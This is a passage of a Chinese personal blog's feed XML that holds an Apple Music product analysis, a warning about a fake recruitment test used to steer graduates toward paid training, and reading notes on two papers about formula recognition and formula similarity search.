href="#现在就听" class="headerlink" title="现在就听"></a>现在就听</h3><p>这个页面的重点是让用户快速地找到想听地歌曲，所以我们可以看到几个页面中最大的专辑封面，方便用户快速滑动并作出选择。</p><p><strong>推荐</strong>似乎是音乐软件<strong>缩短核心流程</strong>的通用手法，这个页面的大部分内容都来自推荐。</p><h3 id="浏览-amp-搜索"><a href="#浏览-amp-搜索" class="headerlink" title="浏览&amp;搜索"></a>浏览&amp;搜索</h3><p>浏览页包含了大量的<strong>编辑推荐</strong>内容，包括新专辑、新人歌手，还有一些结合时下热点更新的列表，比如最近就更新了奥运选手的歌单。用户像挑选货架上的货品一样挑选内容。我想这个页面的存在的目的是为了激励用户尝试新内容，用PGC弥补了算法推荐的短板，代价是用户可能会花较长的时间排除不感兴趣的内容。换句话说，<code>浏览</code>适当<strong>延长了核心流程</strong>，同时用户对新内容的尝试还可以反哺推荐算法，形成体验上的闭环。</p><ul><li>首先，<code>浏览</code>中会出现<code>心情氛围</code>一栏，这一栏的功能是<strong>按心情推荐歌曲</strong>，能非常有效地<strong>缩短核心流程</strong>，没有出现在<code>现在就听</code>里大概是因为这一栏的内容是由编辑创建的而非算法推荐的。可见，关于<code>心情氛围</code>属于哪个页面，主要矛盾是栏目要<strong>根据来源放置</strong>还是<strong>根据功能放置</strong>，我更赞同后者。</li><li>最后，也是最大的疑问。<strong>为什么不在这个页面添加搜索框而是单独增加一个搜索页面？</strong>看下面这张图，<code>搜索</code>只有两个栏目，且功能与<code>浏览</code>高度重合，类别的卡片看起来也很多余。</li></ul><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210901193725.png" alt="对比一下浏览页和搜索页"></p><h3 id="广播"><a href="#广播" class="headerlink" title="广播"></a>广播</h3><p>电台是我比较喜欢的一个feature，和网易云的歌单类似，但却是PGC，内容质量有一定保障，是我<strong>尝试新内容</strong>的主要途径。</p><h3 id="资料库"><a href="#资料库" class="headerlink" title="资料库"></a>资料库</h3><p>由以下四个栏目组成：</p><ol><li>播放列表  体验很像网易云的歌单，但没有做细分，没有类似于【我喜欢】这样自动建立的列表。</li><li>歌手</li><li>专辑</li><li>歌曲  资料库中所有的歌曲，但是同一首歌曲是可以收藏两次的。</li></ol><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210901203417.png" alt="《小小》收藏了两次" style="zoom:25%;" /><h2 id="核心功能页面"><a href="#核心功能页面" class="headerlink" title="核心功能页面"></a>核心功能页面</h2><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210903140036.png" alt="歌曲播放页"></p><p>讲一下歌曲播放页的几个feature</p><h3 id="待播清单的交互"><a href="#待播清单的交互" class="headerlink" title="待播清单的交互"></a>待播清单的交互</h3><ul><li><strong>特征：</strong>向上滑动显示历史播放清单，向下滑动隐藏歌曲交互界面，显示更长的清单；</li></ul><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210903142205.png" alt="两种不同的交互"></p><ul><li><p><strong>需求：</strong>方便查阅历史记录&amp;快速翻阅待播清单，同时保持视觉上的简洁</p></li><li><p><strong>思考：</strong>我非常喜欢这个交互，他帮助我理解了《设计心理学》这本书中<code>示能</code>这一概念。作为示能符号，<code>列表</code>无需多做说明就可以让用户理解到它是可以滑动的。</p><blockquote><p>示能符号：不需要标签或说明书的帮助，帮助人们了解可以采取什么行动来操作。</p></blockquote></li></ul><h3 id="喜爱-amp-踩"><a href="#喜爱-amp-踩" class="headerlink" title="喜爱&amp;踩"></a>喜爱&amp;踩</h3><ul><li><strong>特征：</strong>操作页面，用户能够给歌曲比较<strong>喜爱</strong>和<strong>踩</strong></li><li><strong>需求：</strong>标记喜欢的音乐，让推荐算法更准确</li><li><strong>思考：</strong>这里提到的标记功能，只能用来给歌曲做标记，并不能收藏这首歌到某一个歌单。为了优化算法而让用户标记，但是算法优化带来的体验并不会很快地传递给用户，可能会减少用户标记的次数。同时按照国内用户的使用习惯，喜欢&#x3D;收藏没什么不妥</li><li><strong>想法：</strong>创建一个【我喜欢】的列表，用来收藏被标记的歌曲。</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;分析对象&quot;&gt;&lt;a href=&quot;#分析对象&quot; class=&quot;headerlink&quot; title=&quot;分析对象&quot;&gt;&lt;/a&gt;分析对象&lt;/h2&gt;&lt;p&gt;分析的对象是Android版的Apple Music，版本号&lt;code&gt;3.6.0&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;分析方法主要</summary>
      
    
    
    
    <category term="实践" scheme="https://sandship.fun/categories/%E5%AE%9E%E8%B7%B5/"/>
    
    
    <category term="产品" scheme="https://sandship.fun/tags/%E4%BA%A7%E5%93%81/"/>
    
    <category term="产品分析" scheme="https://sandship.fun/tags/%E4%BA%A7%E5%93%81%E5%88%86%E6%9E%90/"/>
    
  </entry>
  
  <entry>
    <title>如今做教育有多难？我从一场”笔试“体验到了</title>
    <link href="https://sandship.fun/post/af55.html"/>
    <id>https://sandship.fun/post/af55.html</id>
    <published>2021-08-25T16:02:08.000Z</published>
    <updated>2026-02-11T07:44:26.147Z</updated>
    
    <content type="html"><![CDATA[<h2 id="⌛9-15"><a href="#⌛9-15" class="headerlink" title="⌛9:15"></a>⌛9:15</h2><p>某公司HR加上了我的微信，因为我简历上有微信，我也没有太在意，就给通过了</p><h2 id="⌛9-24"><a href="#⌛9-24" class="headerlink" title="⌛9:24"></a>⌛9:24</h2><p>说要给我笔试，我以为会有笔试链接，结果，给了一个<strong>腾讯问卷</strong>的链接，腾讯问卷欸，还是不记名的那种；</p><h2 id="⌛9-35-10-46"><a href="#⌛9-35-10-46" class="headerlink" title="⌛9:35-10:46"></a>⌛9:35-10:46</h2><p>花了大概一个小时做这个笔试，笔试的问题很简单，几道可以随手搜到的选择题；还有三个问答题，其中两个还是可选。因为是智能设备相关的公司，问题包括：</p><ol><li>智能硬件的软件产品应该做什么事？对哪些指标负责？（选做）</li><li>描述一下最喜欢的智能设备和它的缺陷。（选做）</li><li>对产品和产品经理的理解。（必做）</li></ol><p>说实话我觉得着三个问题不适合放在笔试，我也没有在任何的笔试里做到过这样的问题。而且题竟然还有错别字什么的🥲。不过我还是花了点时间做完了，必做题非常认真地描述了产品地职责、团队中的定位、能力模型。但是这个题给人地感觉就是怎么答都不会太全面。回过头来思考，这种空洞且泛泛而谈的题会给人一种<strong>我对这个岗位缺乏认知</strong>的暗示。还有更多意义不明的地方：官方的笔试渠道呢？我已经做过官方的笔试了，为什么那一次不管用呢？为什么要用一个匿名的问卷系统？</p><p>当然了，当时求职心切，这些都是我事后复盘才意识到的。</p><h2 id="⌛13-42"><a href="#⌛13-42" class="headerlink" title="⌛13:42"></a>⌛13:42</h2><p>这位HR给我回复了，我心里想怎么这么快！之前笔试面试各种流程至少一两周吧，这次竟然两个小时就有消息了。有意思的来了，他首先开门见山的说明了我没有通过笔试，但是！并没有否定我的能力，具体可以看图里的这几段话：</p><img src="/Users/sandship/Desktop/笔试/20210825163026.png" alt="为什么面试不通过，还不是你不行！" style="zoom: 80%;" /><p>这些个反馈和我的简历以及我的答案没有任何的关系，换句话说，这些评价放之四海而皆准，校招生大部分都会有这方面的问题。同时这些话术还给我灌输了，我需要<strong>系统地学习</strong>，需要<strong>锻炼自己</strong>的观念。同时他再次表明了自己的立场，即<strong>认可我的能力，认为我有潜力</strong>，还声称我的简历发到了别的大群，就是在拉近我俩的距离。最后我以为事情都要结束了，他突然来了这样一段话，同时推给我一个企业微信 </p><p><img src="/Users/sandship/Desktop/%E7%AC%94%E8%AF%95/20210825152433.png" alt="开始正题"></p><h2 id="⌛14-30，我悟了👏"><a href="#⌛14-30，我悟了👏" class="headerlink" title="⌛14:30，我悟了👏"></a>⌛14:30，我悟了👏</h2><p>在这个企业微信上来就给我发了《产品经理必读书籍》之后，<strong>我悟了👏</strong></p><p>前面所有的流程，都是虚的，都是在给这个平台引流！至于引流的目的是什么，我也不能妄加揣测，但一定包括付费咨询。</p><p>引流的成本极低，只需要准备<strong>一张问卷</strong>，<strong>一份简历</strong>，<strong>几段话术</strong>以及<strong>一位啥也不懂，对自己没什么信心</strong>的应届生🌝</p><p>总结一下套路就是，<strong>通过一次失败让你觉得自己不行，然后暗示你不是不合适，只是需要学习、锻炼，最后顺水推舟给你一个职业培训的平台！</strong></p><p><img src="/Users/sandship/Desktop/%E7%AC%94%E8%AF%95/20210825163112.png" alt="套路"></p><p>最后我还和这个在字节工作的、朋友圈全是京东内推的以及xx平台教育公众号的所谓PM，表达了自己受益颇丰的感激之情！谢谢，真的学到很多！哥，你们是干这个的！</p><p><img src="/Users/sandship/Desktop/%E7%AC%94%E8%AF%95/20210825162553.png" alt="我对这个所谓字节的PM说的话"></p><p>希望各位同学，保持冷静，多思考，不要被人牵着鼻子走！秋招顺利哟~🥰</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;⌛9-15&quot;&gt;&lt;a href=&quot;#⌛9-15&quot; class=&quot;headerlink&quot; title=&quot;⌛9:15&quot;&gt;&lt;/a&gt;⌛9:15&lt;/h2&gt;&lt;p&gt;某公司HR加上了我的微信，因为我简历上有微信，我也没有太在意，就给通过了&lt;/p&gt;
&lt;h2 id=&quot;⌛9-24&quot;&gt;&lt;a</summary>
      
    
    
    
    <category term="实践" scheme="https://sandship.fun/categories/%E5%AE%9E%E8%B7%B5/"/>
    
    
    <category term="产品" scheme="https://sandship.fun/tags/%E4%BA%A7%E5%93%81/"/>
    
    <category term="求职" scheme="https://sandship.fun/tags/%E6%B1%82%E8%81%8C/"/>
    
  </entry>
  
  <entry>
    <title>读论文——Image-to-Markup Generation with Coarse-to-Fine Attention</title>
    <link href="https://sandship.fun/post/6a24.html"/>
    <id>https://sandship.fun/post/6a24.html</id>
    <published>2021-08-16T10:57:47.000Z</published>
    <updated>2026-02-11T07:44:26.147Z</updated>
    
    <content type="html"><![CDATA[<h2 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h2><p>标题：Image-to-Markup Generation with Coarse-to-Fine Attention</p><p>作者：Yuntian Deng, Anssi Kanervisto, Jeffrey Ling, Alexander M. Rush</p><p>来源：International Conference on Machine Learning，2017</p><p>应用背景：面向数学公式的图像识别以及标记语言生成</p><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210816160002.png" alt="任务"></p><h2 id="问题"><a href="#问题" class="headerlink" title="问题"></a>问题</h2><ul><li>在不包含文本或者视觉语法（\frac,^）信息的情况下，一个<strong>监督学习模型</strong>是否能够完成<strong>从图像生成正确的标记语言</strong>的任务；</li><li>如何将一个<strong>渲染</strong>的公式转化成能够描述内容和布局的<strong>标记语言</strong>（markup）？</li></ul><h2 id="目标"><a href="#目标" class="headerlink" title="目标"></a>目标</h2><ul><li><p>监督任务的目标是什么？</p><p>$x$ 包含了一张图片，$y$ 包含了一系列的标记语言的token $y_1,y_2,…y_T$​</p><p>假设将标记语言转换成图片是一个<strong>编译</strong>过程（实际上是一个渲染的过程），即$compile(y)\approx x$​（黑盒，不包含文本信息或者视觉语法），如果能够实现对 $compile$​​​ ​的反编译，那么就可以实现从图像生成标记语言的目标；</p></li><li><p>如何去检验准确性？</p><p>给定一个由 ground-truth $y$ <strong>渲染</strong>得到的 $x$ ，系统生成一个假设的 $\hat y$，再通过一个黑盒函数编译 $compile(\hat y)&#x3D; \hat<br>x$，评估$x$与$\hat x$之间的相似性。训练目标是生成相似的图像，而 $\hat y$ 可能与 $y$​ ​相似，也可能不相似。</p></li></ul><h2 id="模型"><a href="#模型" class="headerlink" title="模型"></a>模型</h2><p>精确的识别一个从左到右写出来的公式并不难，传统的方式已经可以解决这个问题。但是当公式中存在上下的顺序，比如分数、求和符号的注释时，传统的方式精确度就不是那么高了。所以要提高识别的精度，核心问题时如何选取出公式中的特殊区域。</p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210816163229.png" alt="这是论文中的网络结构" style="zoom:50%;" /><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210816164048.png" alt="这是论文网站中的网络结构" style="zoom:50%;" /><h3 id="特征提取"><a href="#特征提取" class="headerlink" title="特征提取"></a>特征提取</h3><p>图片的视觉信息由一个多层的CNN抽取，文中提到了与如今的一些使用CNN的OCR模型不同的是，该模型没有使用全连接层，为的是保留CNN抽取特征的局部性以引入视觉注意力。CNN的输入是原始数据，输出一个特征网格$\tilde{ V }$，该网格的大小是$D \times H \times W$，其中$D$是通道数，$H$是特征图的高，$W$​则是宽。</p><h3 id="行编码器"><a href="#行编码器" class="headerlink" title="行编码器"></a>行编码器</h3><p>在图像描述生成任务中，不需要对CNN提取的特征进行处理。但在OCR任务中，我们需要指导相关的位置信息。以往都使用CTC（Connectionist Temporal Classification ）定位，在本文的方法中，通过对 $\tilde{ V }$ 的每一行运行RNN以生成新的特征网格$V$。新的特征单元格可以被定义为$V_{hw}&#x3D;RNN(V_{h,w-1},V_{hw})$，对每一行初始化可训练的隐藏层$V_{h,0}$，将其称之为位置向量。</p><p>由此，新的特征网格既包含了<strong>位置信息又包含了序列信息</strong>。</p><p>作者补充到，实验中所有RNN都是LSTM网络。</p><blockquote><p>关于什么是CTC，<a href="https://distill.pub/2017/ctc/">这篇文章</a>做了详细的描述。CTC主要被用来处理语音识别，手写字体识别和其他一系列的序列问题。主要的作用是处理输入与输出的“对齐”问题，比如</p><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210816185857.png" alt="CTC的应用场景"></p><p>图中的两个任务，对于一个输出，他的输入长度可能是不断变化的。但同时我们也可以从中看出，CTC处理的输入是严格按照从左到右的顺序排列的。</p></blockquote><h3 id="解码器"><a href="#解码器" class="headerlink" title="解码器"></a>解码器</h3><p>文中的解码器是一种<strong>条件语言模型</strong>，该模型根据解码的历史和注释来给出下一个可能的token。文中将其表示为：<br>$$<br>p\left(y_{t+1} \mid y_{1}, \ldots, y_{t}, V \right)&#x3D;\operatorname{softmax}\left( W ^{\text {out }} o _{t}\right)<br>$$</p><p>$$<br>o _{t}&#x3D;\tanh \left( W ^{c}\left[ h _{t} ; c _{t}\right]\right)<br>$$</p><ul><li>$W ^{\text {out }}, W ^{c}$ 是学习到的线性变换函数；</li><li>$h _{t}= R N N \left( h _{t-1},\left[y_{t-1} ; o _{t-1}\right]\right)$ 包含了历史的解码信息；</li><li>$c_t$ 是上下文向量，包含了来自于注释网格的上下文信息，具体怎么得到见下一节。</li></ul><h2 id="标记语言生成中的注意力机制"><a href="#标记语言生成中的注意力机制" class="headerlink" title="标记语言生成中的注意力机制"></a>标记语言生成中的注意力机制</h2><p>由上文可见，识别的准确率在于<strong>是否能够追踪到当前位置的下一位置</strong>，而这个信息由注意力集中的向量 $c_t$​ ​传达。那 $c_t$ 是如何得到的？</p><p>首先定义一个分类向量 $z_{t} \in{1, \cdots, H} \times{1, \cdots, W}$​​​ ，用来描述模型正在关注哪个单元格 。假设注意力分布$p\left(z_{t}\right)$​​​​​ 。那么上下文向量可以表示为：</p>$$c _{t}=\sum_{h, w} p\left(z_{t}=(h, w)\right) V _{h w}$$<p>那问题又被转化为：如何获取注意力分布？文章描述了三种方法：</p><h3 id="标准注意力（Standard-Attention）"><a href="#标准注意力（Standard-Attention）" class="headerlink" title="标准注意力（Standard Attention）"></a>标准注意力（Standard Attention）</h3><p>该方式可以表示为：</p>$$p\left(z_{t}\right)=\operatorname{softmax}\left(a\left( h _{t},\left\{ V _{h w}\right\}\right)\right)$$<p>其中$a(·)$是一个神经网络，用来产生非归一化的注意力权重，该神经网络有许多不同的形式，文章中选择了$a_{t,h,w}=\beta^{T} \tanh \left(W_{1} h _{t}+W_{2} V _{h w}\right)$</p><p>那这样做是否可以满足要求呢？文章中提到了三个关于OCR任务中注意里分布的必要<strong>关键属性</strong>：</p><ol><li>网格要足够<strong>精细</strong>，才能保证能够定位到当前符号，这就使得网格总数增加了不少；</li><li>在实际的应用中，注意力分布的主要作用仅仅体现在识别<strong>某个小区域内的某个符号</strong>；</li><li>按照上文中的公式，在每个时间步中的每个单元格上都跑一遍注意力，其解码的<strong>复杂度</strong>可以表示为 $O(T H W)$</li></ol><p>综上三点，这种注意力机制在处理较大的图像时效率很低，或者说，投入与产出不成正比；</p><h3 id="分层注意力（Hierarchical-Attention）"><a href="#分层注意力（Hierarchical-Attention）" class="headerlink" title="分层注意力（Hierarchical Attention）"></a>分层注意力（Hierarchical Attention）</h3><p>策略是在图片上添加一层粒度更粗的网格，在生成标记符号时，首先根据<strong>上一步</strong>结果从粗粒度的网格中获取一个<strong>相关区域</strong>，再在这个<strong>区域内的单元</strong>中获取上下文向量。该机制下的注意力分布可以表示为：<br>$$<br>p\left(z_{t}\right)&#x3D;\sum_{z_{t}^{\prime}} p\left(z_{t}^{\prime}\right) p\left(z_{t} \mid z_{t}^{\prime}\right)<br>$$<br>$p\left(z_{t}^{\prime}\right)$ 表示在粗粒度网格上的注意力分布，由标准注意力获得。</p><p>计算$p\left(z_{t}^{\prime}\right)$ 的复杂度为 $O\left(H^{\prime} W^{\prime}\right)$，计算$p\left(z_{t} \mid z_{t}^{\prime}\right)$ 的复杂度为$O\left(\frac{H}{H^{\prime}} \frac{W}{W^{\prime}}\right)$，则在这种方法下计算$p\left(z_{t}\right)$的复杂度仍有$O\left(H W\right)$</p><h3 id="由粗到细的注意力（Coarse-to-Fine-Attention）"><a href="#由粗到细的注意力（Coarse-to-Fine-Attention）" class="headerlink" title="由粗到细的注意力（Coarse-to-Fine Attention）"></a>由粗到细的注意力（Coarse-to-Fine Attention）</h3><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210816160002.png" alt="模型"></p><p>目标是通过缩小可能的粗粒度单元格范围来实现降低时间复杂度；</p><h4 id="强化学习"><a href="#强化学习" class="headerlink" title="强化学习"></a>强化学习</h4><p>文章提出了使用<strong>强化学习</strong>来解决这个问题，以选取困难样本（hard sample）而不是考虑整个区域的方式来获取$p\left(z_{t}^{\prime}\right)$，使用以下几个参数来描述该强化学习算法，包括：</p><ul><li><strong>随机动作：</strong>选择t时刻的区域 $z_{t}’$</li><li><strong>奖励：</strong> 输出的符号与正确符号之间的对数似然函数值</li><li><strong>全局奖励：</strong></li></ul>$$E _{z_{t}^{\prime}}\left[\sum_{t=1}^{T} r_{t}\right]$$<ul><li><strong>反向传播的策略梯度：</strong></li></ul><p>$$<br>r_{t} \cdot \frac{\partial \log p\left(z_{t}^{\prime} ; \theta\right)}{\partial \theta}<br>$$</p><h4 id="RNN解码器之下的奖励："><a href="#RNN解码器之下的奖励：" class="headerlink" title="RNN解码器之下的奖励："></a><strong>RNN解码器之下的奖励：</strong></h4><p>由于在解码阶段使用了RNN，所以每个当前动作 $Z_t’$ 都会对之后的奖励 $r_t,r_{t+1},…r_T$ 产生影响，文章重新定义了奖励，其形式为：</p>$$\tilde{r}_{t}=\sum_{s=t}^{T} \gamma^{s} r_{s}$$<p>其中 $\gamma$ 是一个大于0小于1的数。</p><h4 id="实际应用中的的策略梯度："><a href="#实际应用中的的策略梯度：" class="headerlink" title="实际应用中的的策略梯度："></a>实际应用中的的策略梯度：</h4>$$\frac{\partial L }{\partial \theta}=\left(\tilde{r}_{t}-b_{t}\right) \cdot \frac{\partial \log p\left(z_{t}^{\prime} ; \theta\right)}{\partial \theta}$$<p>其中</p>$$b_{t} \leftarrow \beta b_{t}+(1-\beta) \tilde{r}_{t}$$<p>$b_{t}$ 为一个可变的平均奖励基线，从而降低方差，减少噪音。</p><h4 id="时间复杂度"><a href="#时间复杂度" class="headerlink" title="时间复杂度"></a>时间复杂度</h4><p>在该强化学习模型初选区域的基础上，注意力的时间复杂度变成了:<br>$$<br>O\left(\frac{H}{H^{\prime}} \frac{W}{W^{\prime}}+H^{\prime} W^{\prime}\right)<br>$$<br>当$H^{\prime}&#x3D;\sqrt{H}, W^{\prime}&#x3D;\sqrt{W}$时，时间复杂度为：<br>$$<br>O(\sqrt{H W})<br>$$</p><h2 id="其他贡献"><a href="#其他贡献" class="headerlink" title="其他贡献"></a>其他贡献</h2><ul><li>创建了一个包含103556个不同 $\LaTeX$ 公式及其渲染图片的数据集。</li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><ul><li>发散性思维以及问题简化能力；</li><li>广泛的文献阅读、实践能力。</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;背景&quot;&gt;&lt;a href=&quot;#背景&quot; class=&quot;headerlink&quot; title=&quot;背景&quot;&gt;&lt;/a&gt;背景&lt;/h2&gt;&lt;p&gt;标题：Image-to-Markup Generation with Coarse-to-Fine Attention&lt;/p&gt;
&lt;p&gt;作者：</summary>
      
    
    
    
    <category term="学习" scheme="https://sandship.fun/categories/%E5%AD%A6%E4%B9%A0/"/>
    
    
    <category term="公式识别" scheme="https://sandship.fun/tags/%E5%85%AC%E5%BC%8F%E8%AF%86%E5%88%AB/"/>
    
    <category term="注意力机制" scheme="https://sandship.fun/tags/%E6%B3%A8%E6%84%8F%E5%8A%9B%E6%9C%BA%E5%88%B6/"/>
    
  </entry>
  
  <entry>
    <title>读论文——Structural Similarity Search for Formulas Using Leaf-Root Paths in Operator Subtrees</title>
    <link href="https://sandship.fun/post/3a48.html"/>
    <id>https://sandship.fun/post/3a48.html</id>
    <published>2021-07-17T20:50:03.000Z</published>
    <updated>2026-02-11T07:44:26.147Z</updated>
    
    <content type="html"><![CDATA[<p><strong>标题：</strong>Structural Similarity Search for Formulas Using Leaf-Root Paths in Operator Subtrees</p><p><strong>作者：</strong>Wei Zhong and Richard Zanibbi</p><p><strong>期刊：</strong>Advances in Information Retrieval</p><p>看这篇文章之前，提出了两个问题：</p><ol><li>如何把公式转化为操作树？</li><li>与之前接触过的树相似度算法有何不同？</li></ol><h2 id="关键问题"><a href="#关键问题" class="headerlink" title="关键问题"></a>关键问题</h2><ul><li><p>以何种形式表达数学公式？</p><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210718193132.png" alt="公式的各种表示形式，来源：Recognition and retrieval of mathematical expressions"></p></li><li><p>数学公式的相似性如何衡量？</p><ul><li>结构的相似性<ul><li>common subexpression：是否都存在相同的子表达式</li><li>operator commutativity：交换律</li><li>operator associativity：结合律</li></ul></li><li>符号的相似性<ul><li>$(1+1&#x2F;n)^n$与$(1+1&#x2F;x)^x$ 虽然符号不同，但是$n$和$x$都表示未知数，<strong>语义相同</strong>，所以这两个是相同的公式；</li><li>$e&#x3D;mc^2$与$y&#x3D;ax^2$ 在考虑<strong>物理意义</strong>的条件下，是两个不同的公式；</li></ul></li><li>语义的相似性<ul><li>等效的公式$1&#x2F;x$和$x^{-1}$，就和苹果与apple一样</li></ul></li></ul></li></ul><h2 id="方法"><a href="#方法" class="headerlink" title="方法"></a>方法</h2><blockquote><p>这部分描述了如何定量的衡量两个公式之间的相似度</p></blockquote><p>将$\LaTeX$转化为操作树（OPT）。将比较公式相似度的问题转化为比较</p><ul><li>比较树的结构</li><li>比较节点的名称</li></ul><p>下面的定义描述了如何度量两个树之间的相似度。</p><h3 id="定义1-公共子树"><a href="#定义1-公共子树" class="headerlink" title="定义1 公共子树"></a>定义1 公共子树</h3><p>公式树$Tq$和$T_d$，他们的公共子树包含两个部分，即这两个公式中结构一致的子树$\hat{T}_q$和$\hat{T}_d$，且子树的叶节点为公式树的叶节点。用公式可以表达为：</p>$$CFS\left(T_{q}, T_{d}\right)=\left\{\hat{T}_{q}, \hat{T}_{d}: \hat{T}_{q} \preceq_{l} T_{q}, \hat{T}_{d} \preceq_{l} T_{d}, \hat{T}_{q} \cong \hat{T}_{d}, \hat{T}_{q} \subseteq T_{q}, \hat{T}_{d} \subseteq T_{d}\right\}$$<p>其中$“\cong”$表示同构，$“\subseteq”$表示从属关系，而$“\preceq_{l}”$表示子树的叶节点为操作树的叶节点，用图片来说明</p><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210719094848.png" alt="公共子树与公共字数森林"></p><h3 id="定义2-公共子树森林"><a href="#定义2-公共子树森林" class="headerlink" title="定义2 公共子树森林"></a>定义2 公共子树森林</h3><p>公共子树森林（common formula forest）是所有<strong>不相连</strong>的公共子树的集合，一个公共子树森林可以用公式表示为：</p>$$\pi=\left\{\left(\hat{T}_{q}^{1}, \hat{T}_{d}^{1}\right),\left(\hat{T}_{q}^{2}, \hat{T}_{d}^{2}\right), \ldots\left(\hat{T}_{q}^{n}, \hat{T}_{d}^{n}\right)\right\} \in \Pi\left(T_{q}, T_{d}\right)\qquad(1)$$<p>两个表达式之间可能存在多个不同的公共子树森林，都属于$\Pi\left(T_{q}, T_{d}\right)$。</p><p>公共子树森林可以表示两个数学表达式中的相似部分，那使用这个森林去<strong>度量</strong>相似度呢？</p><h3 id="定义3-度量相似度"><a href="#定义3-度量相似度" class="headerlink" title="定义3 度量相似度"></a>定义3 度量相似度</h3>$$\Gamma_{\gamma}\left(T_{q}, T_{d}\right)=\max _{\pi \in \Pi\left(T_{q}, T_{d}\right)} \gamma(\pi)\qquad(2)$$$$\gamma(\pi)=\sum_{\left(\hat{T}_{q}^{i}, \hat{T}_{d}^{i}\right) \in \pi} \beta_{i} \cdot\left(\alpha \cdot \text { internals }\left(\hat{T}_{d}^{i}\right)+(1-\alpha) \cdot \operatorname{leaves}\left(\hat{T}_{d}^{i}\right)\right)\qquad(3)$$<ul><li><p>$internals \left(T\right)$： T中节点或操作符的数目</p></li><li><p>$leaves(T)$：T中叶节点&#x2F;运算对象的数目</p></li><li><p>$\alpha$：大于0小于1，操作符贡献的权重</p></li><li><p>$\beta_i$：大于0，子表达式贡献的权重，子表达式的<strong>范围越广</strong>，贡献的权重越大。实际计算中，对于一些范围小的子树，该值取0</p></li></ul><h3 id="子表达式匹配"><a href="#子表达式匹配" class="headerlink" title="子表达式匹配"></a>子表达式匹配</h3><blockquote><p>这一部分讲述了如何进行子表达式的匹配，侧重提高检索速率。</p></blockquote><p>以路径为最小单元进行匹配，这样做的话相比于<strong>运算符</strong>，匹配<strong>运算对象</strong>更加容易。</p><blockquote><p>这里可能是因为运算符的形式会比运算对象的形式差异更大，如$1&#x2F;x$和$x^{-1}$</p></blockquote><p>文中提出了一种贪心算法，在一次检索流程中，先找到<strong>运算对象最多</strong>的$\pi$，再去计算这个$\pi$当中运算符的数量，通过公式3计算本次的得分。最后比较所有检索对的分数。</p><h4 id="贪心算法"><a href="#贪心算法" class="headerlink" title="贪心算法"></a>贪心算法</h4><p><strong>假设1</strong>：如果$\pi^{*}=\left\{\left(\hat{T}_{q}^{1 *}, \hat{T}_{d}^{1 *}\right),\left(\hat{T}_{q}^{2 *}, \hat{T}_{d}^{2 *}\right) \ldots\left(\hat{T}_{q}^{n *}, \hat{T}_{d}^{n *}\right)\right\} \in \Pi\left(T_{q}, T_{d}\right)$ 能够使公式2在 $\alpha=0$ 且 $\beta_{1} \gg \beta_{2} \gg \ldots \gg \beta_{n}$取到最大值，那就认为在 $\alpha \neq 0$ 且 $\beta_{1} \geq \beta_{2} \geq \ldots \geq \beta_{n}$时， $\pi^{*}$ 也能让其取到最大值。</p><p>在该假设的第一个条件下，公式3的形式是</p>$$\gamma(\pi)=\sum_{\left(\hat{T}_{q}^{i}, \hat{T}_{d}^{i}\right) \in \pi} \beta_{i} \cdot{leaves}\left(\hat{T}_{d}^{i}\right)$$<blockquote><p>在该假设下，范围越广、运算对象越多的公共子树得分越高，从而使得其属于的公共子树森林得分越高。</p></blockquote><p>同时文章也想要一种更有效地找到相似结构的方式。</p><p>假设$P(T)$是公式树T所有叶节点到根节点的路径，$M(S_1, S_2,E)$表示使用二分图的形式表示路径集合$S_1、S_2$之间的匹配关系，$E$二分图中的边（连线），在此基础上提出假设2：</p><p><strong>假设2：</strong>对于任意的树 $T_{q}, T_{d}$， $S_{q}&#x3D; P \left(T_{q}\right), S_{d}&#x3D; P \left(T_{d}\right)$如果存在完美的匹配 $M\left(S_{q}, S_{d}, E\right)$，即每一条路径都能在另一个树中找到对应的路径，那就可以认为$T_{q} \cong T_{d}$。当然这个假设并不是所有情况下都成立的，比如下图的两个公式：</p><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210719160745.png" alt="假设2不成立的情况"></p><p>那既然存在不成立的情况，为什么还要做出这样的假设呢？作者给出的理由包括：</p><ol><li>这种情况相对少见；</li><li>希望设计一个更具有实用意义的搜索算法（快速）。</li></ol><blockquote><p>但看这张图中的这个表达式，这种情况真的少见吗？</p></blockquote><p>在这两个假设下，作者完整的描述了搜索相似公式的算法</p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210719205617.png" alt="算法1" style="zoom:80%;" /><h3 id="检索"><a href="#检索" class="headerlink" title="检索"></a>检索</h3><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210720101615.png" alt="检索过程"></p><ol><li><strong>转化为操作树</strong></li><li><strong>操作符，操作对象的令牌化：</strong>制定100+语法规则，50+符号类型。</li><li><strong>路径的生成：</strong>对于每一个操作符，都将其标记为根节点，记录所有叶节点到该节点的路径。</li><li><strong>记录的数据：</strong>路径的ID，操作符号和对象的ID</li></ol><p>总体的相似度计算公式：<br>$$<br>\frac{S_{ st } S_{ sy }}{S_{ st }+S_{ sy }}\left[(1-\theta)+\theta \frac{1}{\log \left(1+\operatorname{leaves}\left(T_{d}\right)\right)}\right], \quad \theta \in[0,1]\qquad(4)<br>$$</p><p>其中$S_{st}$是结构相似度的得分，计算方式：<br>$$<br>S_{ st }&#x3D; \begin{cases}\frac{\Gamma_{\gamma}\left(T_{q}, T_{d}\right)}{\operatorname{leaves}\left(T_{q}\right)} &amp; \text { if } \alpha&#x3D;0 \ \frac{\Gamma_{\gamma}\left(T_{q}, 